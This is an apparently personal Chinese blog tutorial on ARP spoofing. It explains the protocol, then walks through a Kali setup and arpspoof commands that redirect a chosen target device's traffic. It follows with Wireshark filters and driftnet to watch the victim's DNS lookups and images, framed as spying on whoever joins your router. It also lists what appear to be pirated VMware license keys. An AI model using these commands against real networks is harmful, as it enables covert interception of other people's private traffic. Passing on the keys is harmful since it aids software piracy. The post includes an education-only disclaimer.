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<h1 id="一-序言"><a href="#一-序言" class="headerlink" title="一.序言"></a>一.序言</h1><p>当一个人连接到你家的路由器，你是否好奇他在干什么；<br>网上盛传“不要随意连接公共WIFI”，你是否知道它的依据；<br>以及如果你连接了公共WIFI，为什么黑客可以盗取你的信息，他可以盗取你的什么信息；<br>看完本篇文章，你可能会有所收获；<br>如在实操过程中出现各种问题，<strong>欢迎微信交流探讨</strong>。<br><strong>声明：本篇文章仅作技术探讨和学术交流之用，严禁用于非法用途，请尊重他人隐私；</strong><br><strong>文章实践部分测试环境设备均为本人设备，不存在隐私及侵权问题；</strong><br><strong>文章中提到的所用软件和所引用文章著作权归原作者所有；</strong><br><strong>所引用文章在文末标出。</strong>  </p>
<h1 id="二-理论"><a href="#二-理论" class="headerlink" title="二.理论"></a>二.理论</h1><h2 id="1-ARP是什么"><a href="#1-ARP是什么" class="headerlink" title="1.ARP是什么"></a>1.ARP是什么</h2><p>这里引用CSDN上的一篇博客作说明</p>
<blockquote>
<p>ARP是Address Resolution Protocol（地址解析协议）的缩写。在以太网中，两台机器想要通信，就必须知道目标主机得MAC地址，而ARP协议的作用就是获取MAC。ARP协议的基本功能就是在主机发送数据之前将IP地址转换为MAC地址，完成网络地址到物理地址的映射。</p>
<p>ARP缓存表<br>任何一台主机安装了TCP/IP协议都有ARP缓存表，该表保存了局域网中个主机IP对应的MAC地址，ARP缓存表能够有效地保证数据传输的一对一特性。在Windows中可以使用arp -a来查看缓存表。<br>ARP缓存表中的数据是有时效性的，在超过指定的时间后，将从缓存中删除它们，Windows中默认的存活时间为两分钟。</p>
</blockquote>
<p><strong>局域网主机通信过程</strong><br>（B为局域网内主机；C为局域网外主机，也可视作公网主机）</p>
<blockquote>
<p>A和B通信：主机A使用ping &lt;B的IP地址&gt;，主机A进行子网掩码对比，发现与B在同一局域网 内：<br>A查询本机ARP缓存表，查看是否存在B的MAC地址。<br>①存在：直接发送数据。<br>②不存在：A发送ARP请求报文（包含IP、MAC地址、请求地址等），局域网内主机在收到请求报文时，仅有B应答，并将自己的MAC地址发送给A，而且会将A的MAC地址存在自己的ARP缓存表中。在主机A收到B的响应之后，会将B的MAC地址保存在自己的ARP缓存表中，然后发送数据。</p>
<p>2、A与C通信时：主机A通过子网掩码对比，发现与主机C不在同一局域网中，所以需要网关转发处理：<br>主机A查询ARP缓存表中是否存在网关1的MAC地址。<br>①不存在时：通过广播获取网关1的MAC地址。<br>②存在时：向网关1发送数据包，由网关1向网关2发送数据包，网关2查看数据包发现是发送给C的。然后网关2查看自己的ARP缓存表是否存在C的MAC地址。存在，直接发送数据包；不存在，则广播获取MAC地址之后发送。</p>
</blockquote>
<p>原文链接：<a target="_blank" rel="noopener" href="https://blog.csdn.net/sycamorelg/article/details/118359830">https://blog.csdn.net/sycamorelg/article/details/118359830</a><br><strong>看不懂没关系，这里举个例：</strong><br>比如你要访问百度，那么你的设备就会在ARP表中查询一下路由器的MAC地址（就像你在现实中有一个笔记本，上面写着你朋友家的地址，你要去朋友家，就拿出来看一下朋友家在哪），然后向路由器发送你访问百度的请求，路由器再把请求发给百度。  </p>
<h2 id="2-什么是ARP欺骗，ARP攻击的实现原理"><a href="#2-什么是ARP欺骗，ARP攻击的实现原理" class="headerlink" title="2.什么是ARP欺骗，ARP攻击的实现原理"></a>2.什么是ARP欺骗，ARP攻击的实现原理</h2><p>ARP欺骗简单来说，就是你的设备向同一个路由器下的某个设备一直说：“哎哎哎，我才是路由器，我的MAC地址是 XX，把你的请求发给我，我帮你转发。”<br>这个时候，那个设备就会信以为真，将数据包发给你。</p>
<h2 id="3-抓包工具的原理"><a href="#3-抓包工具的原理" class="headerlink" title="3.抓包工具的原理"></a>3.抓包工具的原理</h2><p>抓包工具有很多，他们的原理基本上一致，就是监听经过你设备的数据包，无论是你自己的，还是其它设备发给你的，然后进行记录和解析，你就能看出你的设备上经过了什么数据。</p>
<h2 id="4-ARP攻击的危害与防范"><a href="#4-ARP攻击的危害与防范" class="headerlink" title="4.ARP攻击的危害与防范"></a>4.ARP攻击的危害与防范</h2><p>对被攻击者来说，ARP攻击可能：<br>1.造成断网（还可能造成局域网上所有设备断网）。<br>2.被劫持流量，获取敏感信息等。<br>所以我们要对ARP攻击进行防范，<br>对小白来说，最简单的是在电脑上安装一个360之类的安全软件，不连接公共WIFI等；<br>手机除了不连接公共WIFI，暂时没有其它更好的办法<br><strong>不过，我们也无须太过担心，因为大部分流量（注意：只是大部分）都是加密的。</strong>  </p>
<h1 id="三-实践"><a href="#三-实践" class="headerlink" title="三.实践"></a>三.实践</h1><p><strong>注意：仅适用于电脑</strong><br><strong>本文章演示在kali系统下进行</strong>  </p>
<h2 id="1-VMware的安装"><a href="#1-VMware的安装" class="headerlink" title="1.VMware的安装"></a>1.VMware的安装</h2><p>VMware是一个著名的虚拟机软件，官网下载地址：<br><a target="_blank" rel="noopener" href="https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html">Download VMware Workstation Pro</a><br>进入后滑到页面最下面，点击“Workstation Pro for Windows”下面的“DOWNLOAD NOW”<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667213881323-c4c7a92f-cabc-4506-82d8-00ee8a126b07.png#averageHue=%2390ba9b&clientId=u4076cf0f-0fe4-4&from=paste&height=428&id=uc71d10f3&originHeight=535&originWidth=1053&originalType=binary&ratio=1&rotation=0&showTitle=false&size=168323&status=done&style=none&taskId=u373dd489-684b-47c6-a7b4-7bd04311acb&title=&width=842.4" alt="image.png"><br>下载完成后点击打开，按照提示<strong>安装</strong><br>安装位置默认在 C 盘下，可以选择安装在其它盘，安装路径<strong>尽量不要有中文</strong>。可勾选 增强型键盘驱动程序 ，也可以不选<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667214101312-5bbbd3ca-e904-48b3-a845-49847fe76cc1.png#averageHue=%23dededd&clientId=u4076cf0f-0fe4-4&from=paste&id=u9abaa5dd&originHeight=530&originWidth=658&originalType=url&ratio=1&rotation=0&showTitle=false&size=67344&status=done&style=none&taskId=u1e64dccd-7fe4-4260-b79e-3832659c2f0&title=" alt="image.png"><br>安装完成后点击<strong>许可证</strong>，随后输入密钥。<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667214211108-e13fcd90-b1e6-4676-ac0b-675403bf4963.png#averageHue=%23e7e6e5&clientId=u4076cf0f-0fe4-4&from=paste&id=u70ec8a30&originHeight=530&originWidth=658&originalType=url&ratio=1&rotation=0&showTitle=false&size=71541&status=done&style=none&taskId=u37d1c18e-2cc1-4d9b-898f-7faa2c1f903&title=" alt="image.png"><br>这里我为大家<strong>准备了几个密钥</strong>，如果不能用请自行百度<br>ZF3R0-FHED2-M80TY-8QYGC-NPKYF<br>YF390-0HF8P-M81RQ-2DXQE-M2UT6<br>ZF71R-DMX85-08DQY-8YMNC-PPHV8<br>(如报错请查看<a href="#Lp0lH"><strong>附录1</strong></a>)  </p>
<h2 id="2-安装kali虚拟机系统"><a href="#2-安装kali虚拟机系统" class="headerlink" title="2.安装kali虚拟机系统"></a>2.安装kali虚拟机系统</h2><p>既然要安装，那就要下载，可是这kali官网的<strong>下载速度</strong>实在感人<br>所以这里使用<strong>清华大学开源软件镜像站</strong>下载<br><strong>32位系统下载：</strong><br><a target="_blank" rel="noopener" href="https://mirrors.tuna.tsinghua.edu.cn/kali-images/current/kali-linux-2022.3-installer-i386.iso">i386（32位）下载</a><br><strong>64位系统下载：</strong><br><a target="_blank" rel="noopener" href="https://mirrors.tuna.tsinghua.edu.cn/kali-images/current/kali-linux-2022.3-installer-amd64.iso">amd64（64位）下载</a><br>系统版本查询方法请<strong>参考</strong>：<a target="_blank" rel="noopener" href="https://www.yuque.com/xinv/main/khnsa8#CDhnV">虚拟摄像头教程（简易）(新)</a><br>下载后<strong>记下</strong>你安装到了哪里  </p>
<h4 id="安装配置虚拟机"><a href="#安装配置虚拟机" class="headerlink" title="安装配置虚拟机"></a>安装配置虚拟机</h4><p>随后在VM里安装虚拟机<br>（以下内容<strong>参考</strong><a href="#LATWr"><strong>①</strong></a><strong>，</strong>图片取自<a href="#LATWr"><strong>①</strong></a><br><strong>（1）</strong>打开VMware Workstation，创建新的虚拟机，我们使用<strong>自定义</strong>的配置方法。<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667294286065-bff35a9f-f96e-4aa2-9107-c2cf26a4adbc.png#averageHue=%23f5f4f4&clientId=u97214cd9-52f3-4&from=paste&id=ub14f4641&originHeight=433&originWidth=498&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u391777eb-135a-4b72-b70c-7c775a55c98&title="><br><strong>（2）</strong>导入系统镜像文件（选择你上面下载的镜像的<strong>保存地址</strong>）<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667294536569-06c689b1-f4f8-49ed-9147-99f97c8df7a9.png#averageHue=%23e8e7e7&clientId=u97214cd9-52f3-4&from=paste&id=ucc3a8d15&originHeight=429&originWidth=496&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u5b6c9710-0a42-4e1a-aecf-0395ab04085&title="><br><strong>（3）</strong>选择客户机操作系统及版本<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667294662795-7c745bea-25ab-472c-92b0-7f4ed10799ac.png#averageHue=%23ede9e8&clientId=u97214cd9-52f3-4&from=paste&id=u927e12f5&originHeight=424&originWidth=493&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=uc5f872cb-0eae-4467-88ad-4a7585a223c&title="><br><strong>（4）</strong>输入虚拟机的<strong>名称</strong>和<strong>安装位置</strong><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667294751010-347c5d8e-3dee-46f5-83f9-64bc83b756d3.png#averageHue=%23d9b67c&clientId=u97214cd9-52f3-4&from=paste&id=u47e8122d&originHeight=642&originWidth=1134&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ud42ef603-49e0-4358-b632-07d288e54fa&title="><br><strong>（5）</strong>点击下一步直至出现<strong>以下界面</strong><br>为虚拟机分配内存，建议<strong>不要超过</strong>提示的最大推荐内存，这里分配2GB。<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667294766280-4321defc-df10-4c81-9007-f2b767fcc849.png#averageHue=%23ecebeb&clientId=u97214cd9-52f3-4&from=paste&id=u50f060db&originHeight=433&originWidth=495&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ub9a338ed-dfc8-499c-aa1e-289319df370&title="><br><strong>（6）</strong>继续点击下一步，使用推荐选项，直至出现<strong>磁盘容量分配</strong>。<br><strong>一定要比建议分配容量大！</strong>一定要比建议分配容量大！一定要比建议分配容量大！否则后面安装时可能会卡在奇怪的地方。<br>选择将虚拟磁盘存储为<strong>单个文件</strong>。<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667294824588-0f53d637-80b1-4ad5-971d-1934da7d8b18.png#averageHue=%23e7e6e6&clientId=u97214cd9-52f3-4&from=paste&id=ufff7c25c&originHeight=429&originWidth=496&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u831bd63f-ceda-490f-bf80-f53cf099f13&title="><br><strong>（7）</strong>开启虚拟机，进入安装界面，选择图形界面安装（Graphical install）。<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667294985075-c04ea173-cf2e-4f53-91be-f3467c0725bc.png#averageHue=%23fcfdfd&clientId=u97214cd9-52f3-4&from=paste&id=u5451c76f&originHeight=421&originWidth=882&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u86eb795c-b164-405e-9d3f-64f209299ce&title="><strong>（8）</strong>自定义主机名<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667295029187-50deceef-873d-4779-a26b-f4af68ca3285.png#averageHue=%23ede9e5&clientId=u97214cd9-52f3-4&from=paste&id=u66a1d8a8&originHeight=606&originWidth=788&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=uc1cf58f6-5ceb-4c9f-ac1b-af7206d3f75&title="><strong>（9）</strong>按如下步骤进行<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667295111249-abe936f7-3231-40b1-a1fb-1a1a127b7016.png#averageHue=%23ebe6e2&clientId=u97214cd9-52f3-4&from=paste&id=uce7fcc57&originHeight=603&originWidth=803&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u8163c6f6-0ea9-49e5-a598-5bc9f5241a3&title="><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667295120165-297314b3-2656-4c37-9c92-827c0ea0dad2.png#averageHue=%23f5f2f0&clientId=u97214cd9-52f3-4&from=paste&id=u1fcc7962&originHeight=607&originWidth=797&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=udd969206-4607-4a9a-907d-30c4ab226f4&title="><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667295125220-83674abb-f495-4115-bd31-b650cb1224ab.png#averageHue=%23ede9e5&clientId=u97214cd9-52f3-4&from=paste&id=u06a537c4&originHeight=601&originWidth=801&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u551ddaf3-5418-4495-996d-63259dae068&title="><br>此时<strong>可能报错</strong>，如报错请查看<a href="#Lp0lH"><strong>附录1</strong></a>，如没有请<strong>继续</strong><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667295270429-bcce2734-3d4f-4971-9f74-d9d111dc6736.png#averageHue=%23efebe4&clientId=u97214cd9-52f3-4&from=paste&id=u2e4e373a&originHeight=771&originWidth=999&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u1c063aec-95b6-48c0-91c1-8d83cec829c&title="><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667295284235-68175fa4-cae1-4b86-ad5e-6e06e880fe77.png#averageHue=%23ede9e5&clientId=u97214cd9-52f3-4&from=paste&id=ufb590130&originHeight=594&originWidth=793&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u1770093e-327a-43cc-a61f-f36d846b1f7&title="><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667295302830-c88a975a-068c-4a46-9eb4-e2be8d9833fa.png#averageHue=%23f6f4f2&clientId=u97214cd9-52f3-4&from=paste&id=u52b07add&originHeight=594&originWidth=789&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u63c54713-b62d-4b4f-82e9-a5c8617879b&title="><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667295331293-c0419132-44ec-4ac7-ab71-cdc995dc479e.png#averageHue=%23eee9e5&clientId=u97214cd9-52f3-4&from=paste&id=u6773d756&originHeight=592&originWidth=789&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u9261fdad-4b32-4e05-a0de-39a7f00659f&title="><br>（有些步骤在最新版本安装中没有，忽视即可）<br>（有些图片与最新版本安装不太一样，以实际安装为准）<br>新版在安装过程中还会让你设置用户名和密码，在登录时是用自己的用户名和密码<br><strong>报错请按照</strong><a href="#Lp0lH"><strong>附录1</strong></a><strong>操作！！！</strong><br><strong>（10）</strong>重启虚拟机后进入系统，输入用户名和密码   </p>
<h4 id="配置网络"><a href="#配置网络" class="headerlink" title="配置网络"></a>配置网络</h4><p>完成后配置网络<br>（<strong>参考</strong><a href="#LATWr"><strong>②</strong></a>）：<br><strong>（1）</strong>选择编辑中的<strong>虚拟网络编辑器</strong>（VMware<strong>上方菜单</strong>）<br>点击<strong>更改设置</strong><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667295890373-5872fedf-68c7-4e46-a33c-c4e4e2a00916.png#averageHue=%23dbdad9&clientId=u97214cd9-52f3-4&from=paste&height=30&id=ude4220f2&originHeight=37&originWidth=416&originalType=binary&ratio=1&rotation=0&showTitle=false&size=3778&status=done&style=none&taskId=u3cf23818-1a1d-418d-8382-908e14f98d3&title=&width=332.8" alt="image.png"><br>点击<strong>VMnet0</strong>如图配置<br>桥接到选择自己的<strong>网卡</strong><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667295818528-fc6ebc7f-8b01-4c05-a5bc-9523e3416006.png#averageHue=%23ececec&clientId=u97214cd9-52f3-4&from=paste&id=u6d979606&originHeight=692&originWidth=729&originalType=url&ratio=1&rotation=0&showTitle=false&size=53028&status=done&style=none&taskId=u87db20fb-c064-4304-9442-3f0b8754546&title=" alt="image.png"><br><strong>（2）</strong>点开kali，选择<strong>编辑虚拟机设置</strong><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667296318394-759855a2-7f94-4d75-993c-13ddcf0030c0.png#averageHue=%23e2e0df&clientId=u97214cd9-52f3-4&from=paste&id=u6243ed03&originHeight=518&originWidth=645&originalType=url&ratio=1&rotation=0&showTitle=false&size=57978&status=done&style=none&taskId=u4a43c1cd-0e2c-4a16-a691-7615a2217c9&title=" alt="image.png"><br><strong>（3）</strong>将网络适配器的网络连接选为<strong>桥接模式</strong>，并且<strong>勾上复制</strong><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667296355653-e81cea96-1e6d-4711-8577-2b0e69e73eb6.png#averageHue=%23f6f5f5&clientId=u97214cd9-52f3-4&from=paste&id=uefb11408&originHeight=605&originWidth=882&originalType=url&ratio=1&rotation=0&showTitle=false&size=54882&status=done&style=none&taskId=u07c58f97-6897-4cc0-9d11-62863ba714f&title=" alt="image.png"><br><strong>（4）</strong>在主机上按<strong>win+r</strong>键（win键是那个有四个方块的）<br>输入<code>ipconfig</code>并<strong>回车</strong><br>找到类似这样的<strong>一段文字</strong><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667296555159-62a7dd76-0cff-41a8-a7f3-d60f37ba4754.png#averageHue=%23121110&clientId=u97214cd9-52f3-4&from=paste&height=87&id=u586ac405&originHeight=109&originWidth=777&originalType=binary&ratio=1&rotation=0&showTitle=false&size=10126&status=done&style=none&taskId=u312b41a6-994d-4eb2-b5a3-a91a981c558&title=&width=621.6" alt="image.png"><br>（<strong>不要</strong>在VM开头的下面找）<br><strong>（5）</strong>进入kali，如图所示打开<strong>root窗口</strong>（<strong>红色的</strong>）<br><img src="https://cdn.nlark.com/yuque/0/2022/gif/32730752/1667216779983-0f204cee-1a5d-4246-82bc-76cfae77b9d6.gif#averageHue=%233576c5&from=url&id=BU5xZ&originHeight=874&originWidth=1485&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title="><br>输入以下命令<br><code>vi /etc/network/interfaces</code><br>然后按<strong>i键</strong>进入编辑<br>根据<strong>上面查到的内容</strong>在下面加上以下文本<br>（可复制后粘贴到下面然后<strong>替换&lt;&gt;内内容</strong>）  </p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">auto eth0</span><br><span class="line">iface eth0 inet dhcp</span><br><span class="line">address &lt;IPv4地址&gt;</span><br><span class="line">netmask &lt;子网掩码&gt;</span><br><span class="line">gateway &lt;默认网关&gt;</span><br></pre></td></tr></table></figure>
<p>最后按ESC,输入wq退出<br><strong>（6）</strong>还是打开root窗口<br>输入<code>vi /etc/resolv.cof</code><br>之后输入这些文本(替换&lt;&gt;内内容)  </p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nameserver &lt;默认网关&gt;</span><br><span class="line">nameserver 8.8.8.8</span><br></pre></td></tr></table></figure>
<p>按ESC,输入wq退出<br><strong>（7）</strong>输入<code>service networking restart</code>重启网络<br>**                大功告成！**  </p>
<h2 id="3-在kali系统下安装arpspoof"><a href="#3-在kali系统下安装arpspoof" class="headerlink" title="3.在kali系统下安装arpspoof"></a>3.在kali系统下安装arpspoof</h2><p><strong>复制，右键粘贴并回车运行</strong>以下代码<br><code>apt-get install -y dsniff ssldump</code><br>安装arpspoof，等待完成后继续操作  </p>
<h2 id="4-进行ARP欺骗攻击"><a href="#4-进行ARP欺骗攻击" class="headerlink" title="4.进行ARP欺骗攻击"></a>4.进行ARP欺骗攻击</h2><p><strong>首先，请在每次开机后用root窗口运行以下代码，否则被欺骗设备将无法上网</strong><br><strong>注意：每次开机后都要执行</strong><br><code>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</code><br>可使用以下代码<strong>检查</strong>，如果<strong>结果为1</strong>则设置成功<br><code>cat /proc/sys/net/ipv4/ip_forward</code><br>之后，登录你家路<strong>由器管理页面</strong>，查看你想要<strong>攻击的</strong>设备的<strong>ip地址和网关路由器地址</strong><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667217921330-6bd3100b-3763-470d-8ecf-89338dd0a069.png#averageHue=%23fdfcfc&clientId=u11e17411-f626-4&from=paste&height=110&id=u6c6eaa01&originHeight=138&originWidth=347&originalType=binary&ratio=1&rotation=0&showTitle=false&size=3835&status=done&style=none&taskId=u8716e67d-67c0-4aed-8ee7-231497e4200&title=&width=277.6" alt="image.png"><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667218033588-86fbffd3-91c5-410d-876c-d7f829171f75.png#averageHue=%23fefefe&clientId=u11e17411-f626-4&from=paste&height=177&id=u06d42512&originHeight=221&originWidth=836&originalType=binary&ratio=1&rotation=0&showTitle=false&size=7964&status=done&style=none&taskId=u0eca2cc1-4aa7-4bf1-948f-ed3138efdef&title=&width=668.8" alt="image.png"><br>可以看到我的<strong>测试机ip（目标IP）</strong>为<strong>192.168.31.128，路由器ip（网关IP）</strong>为<strong>192.168.31.1</strong><br>设置成功之后<strong>输入并执行</strong>以下代码即可<strong>开始攻击</strong><br><code>arpspoof -i eth0 -t &lt;网关IP&gt; &lt;目标IP&gt;</code><br>用上面得到的IP<strong>替换&lt;&gt;<strong>内的内容<br>那么我的就是<br><code>arpspoof -i eth0 -t 192.168.31.1 192.168.31.128</code><br>（注：此处若仍出现目标</strong>不可上网</strong>，将<strong>目标IP</strong>和<strong>网关IP调换</strong>一下位置）<br>如果想要停止，在运行中的<strong>root窗口</strong>内按Ctrl+C，等待清除痕迹即可  </p>
<h2 id="5-使用抓包软件抓包"><a href="#5-使用抓包软件抓包" class="headerlink" title="5.使用抓包软件抓包"></a>5.使用抓包软件抓包</h2><p>如图所示打开<strong>Wireshark抓包工具</strong><br><img src="https://cdn.nlark.com/yuque/0/2022/gif/32730752/1667298541298-96910877-620d-4423-956e-517de851625c.gif#averageHue=%233576c5&clientId=u97214cd9-52f3-4&from=drop&id=uab226a77&originHeight=872&originWidth=1489&originalType=binary&ratio=1&rotation=0&showTitle=false&size=1119758&status=done&style=none&taskId=ubaaf4a2f-5859-4221-a094-b4aa4542bd9&title=" alt="GIF 2022-11-1 18-28-13.gif">  </p>
<p>在过滤器框内<strong>输入</strong><br><code>ip.addr==&lt;目标IP&gt;</code><br>就可以查看目标设备的网络流量了<br>输入<br><code>ip.addr==&lt;目标IP&gt;&amp;&amp;dns</code><br>就可以看出他访问的什么网站了  </p>
<p>此时再打开一个<strong>root窗口</strong>，输入<br><code>driftnet -i eth0</code><br>就可以在小窗口内查看他的流量里经过的可被拦截的<strong>图片</strong>了  </p>
<h2 id="6-效果展示"><a href="#6-效果展示" class="headerlink" title="6.效果展示"></a>6.效果展示</h2><p>比如我访问一下百度百科，这里就出现了baidu.com的域名<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667299317215-e853594c-5d84-464d-920a-4eb7d0d5c59c.png#averageHue=%23accef5&clientId=u97214cd9-52f3-4&from=paste&height=85&id=ucbdc81d3&originHeight=106&originWidth=1238&originalType=binary&ratio=1&rotation=0&showTitle=false&size=50491&status=done&style=none&taskId=u60439572-2947-4295-a23e-f0698941b62&title=&width=990.4" alt="image.png">  </p>
<h2 id="附录1"><a href="#附录1" class="headerlink" title="附录1"></a>附录1</h2><p>在电脑搜索框输入<strong>“启用或关闭Windows功能”</strong><br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667299515708-fff6a067-f145-457e-a1fa-9a96c66801eb.png#averageHue=%23646a79&clientId=u97214cd9-52f3-4&from=paste&height=707&id=u440fb0cb&originHeight=884&originWidth=937&originalType=binary&ratio=1&rotation=0&showTitle=false&size=680046&status=done&style=none&taskId=u5dbe2d70-73b1-4d59-b11e-792808d4466&title=&width=749.6" alt="image.png"><br>点开它，把Hyper-V勾上然后重启电脑即可<br><img src="https://cdn.nlark.com/yuque/0/2022/png/32730752/1667299592481-6d004f0e-12ab-4c84-a8cd-c635b587b6e2.png#averageHue=%23f3eee8&clientId=u97214cd9-52f3-4&from=paste&height=240&id=ufd1201af&originHeight=300&originWidth=416&originalType=binary&ratio=1&rotation=0&showTitle=false&size=31734&status=done&style=none&taskId=u97654e2a-ddba-4d30-a5b3-ccf9ff8550d&title=&width=332.8" alt="image.png">  </p>
<h1 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h1><p>①<a target="_blank" rel="noopener" href="https://blog.csdn.net/qq_40950957/article/details/80468030">最新超详细虚拟机VMware安装Kali Linux_隐秀_的博客-CSDN博客_kali虚拟机安装教程</a><br>②<a target="_blank" rel="noopener" href="https://blog.csdn.net/pray030/article/details/110915392">VMWare中kali完成桥接网络的配置_pray030的博客-CSDN博客_kali桥接网络</a>  </p>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://www.xingyv.top">星隅</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://www.xingyv.top/2023/09/02/ARP%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB%E7%9A%84%E7%90%86%E8%AE%BA%E4%B8%8E%E5%AE%9E%E8%B7%B5/">https://www.xingyv.top/2023/09/02/ARP%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB%E7%9A%84%E7%90%86%E8%AE%BA%E4%B8%8E%E5%AE%9E%E8%B7%B5/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://www.xingyv.top" target="_blank">星隅’s Blog</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"></div><div class="post_share"><div class="social-share" data-image="/img/Cover_ARP.png" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="next-post pull-full"><a href="/2023/01/17/DEMO/" title="DEMO"><img class="cover" src="/img/zw1.jpg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">DEMO</div></div></a></div></nav></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="/img/pic.jpg" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div 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href="#1-ARP%E6%98%AF%E4%BB%80%E4%B9%88"><span class="toc-number">2.1.</span> <span class="toc-text">1.ARP是什么</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-%E4%BB%80%E4%B9%88%E6%98%AFARP%E6%AC%BA%E9%AA%97%EF%BC%8CARP%E6%94%BB%E5%87%BB%E7%9A%84%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86"><span class="toc-number">2.2.</span> <span class="toc-text">2.什么是ARP欺骗，ARP攻击的实现原理</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#3-%E6%8A%93%E5%8C%85%E5%B7%A5%E5%85%B7%E7%9A%84%E5%8E%9F%E7%90%86"><span class="toc-number">2.3.</span> <span class="toc-text">3.抓包工具的原理</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#4-ARP%E6%94%BB%E5%87%BB%E7%9A%84%E5%8D%B1%E5%AE%B3%E4%B8%8E%E9%98%B2%E8%8C%83"><span class="toc-number">2.4.</span> <span class="toc-text">4.ARP攻击的危害与防范</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%B8%89-%E5%AE%9E%E8%B7%B5"><span class="toc-number">3.</span> <span class="toc-text">三.实践</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1-VMware%E7%9A%84%E5%AE%89%E8%A3%85"><span class="toc-number">3.1.</span> <span class="toc-text">1.VMware的安装</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-%E5%AE%89%E8%A3%85kali%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%B3%BB%E7%BB%9F"><span class="toc-number">3.2.</span> <span class="toc-text">2.安装kali虚拟机系统</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E5%AE%89%E8%A3%85%E9%85%8D%E7%BD%AE%E8%99%9A%E6%8B%9F%E6%9C%BA"><span class="toc-number">3.2.0.1.</span> <span class="toc-text">安装配置虚拟机</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E9%85%8D%E7%BD%AE%E7%BD%91%E7%BB%9C"><span class="toc-number">3.2.0.2.</span> <span class="toc-text">配置网络</span></a></li></ol></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" 